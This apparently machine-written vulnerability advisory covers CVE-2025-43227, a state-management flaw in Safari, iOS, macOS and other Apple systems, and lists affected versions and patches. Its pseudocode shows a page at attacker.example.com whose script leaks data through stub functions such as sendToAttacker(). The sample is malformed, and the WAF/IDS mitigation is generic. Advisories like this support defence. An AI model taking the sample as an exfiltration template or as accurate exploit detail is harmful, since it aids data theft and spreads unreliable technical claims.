Overview
The vulnerability CVE-2025-43227 poses a significant risk to user privacy and system integrity across several popular platforms. It affects Safari, iOS, iPadOS, macOS, tvOS, watchOS, and visionOS users, due to a flaw in the state management functionality. If exploited, this issue may result in unauthorized disclosure of sensitive user information, and potentially lead to system compromise.
Vulnerability Summary
CVE ID: CVE-2025-43227
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Unauthorized disclosure of sensitive information, potential system compromise
Affected Products
Product | Affected Versions
Safari | Before 18.6
iOS | Before 18.6
iPadOS | Before 18.6
macOS | Before Sequoia 15.6
tvOS | Before 18.6
watchOS | Before 11.6
visionOS | Before 2.6
How the Exploit Works
The vulnerability stems from improper state management within several Apple operating systems. It can be exploited by enticing a user to process maliciously crafted web content, which may lead to the disclosure of sensitive user information. The information leakage can further be leveraged to execute more sophisticated attacks, leading to potential system compromise.
Conceptual Example Code
Consider the below pseudocode demonstrating a potential exploit. It involves a malicious payload delivered through a web page, which when processed by the victim’s browser, leaks sensitive information.
GET /malicious/webpage HTTP/1.1
Host: attacker.example.com
Content-Type: text/html
<html>
<body>
<script>
// Code exploiting the state management vulnerability
var sensitive_data = exploitStateManagement();
// Send the sensitive data to the attacker
sendToAttacker(sensitive_data);
</script>
</body>
</html>
To mitigate this vulnerability, users are advised to apply the vendor patch released with Safari 18.6, iOS 18.6, iPadOS 18.6, macOS Sequoia 15.6, tvOS 18.6, watchOS 11.6, and visionOS 2.6. Alternatively, using WAF/IDS can serve as a temporary mitigation strategy.
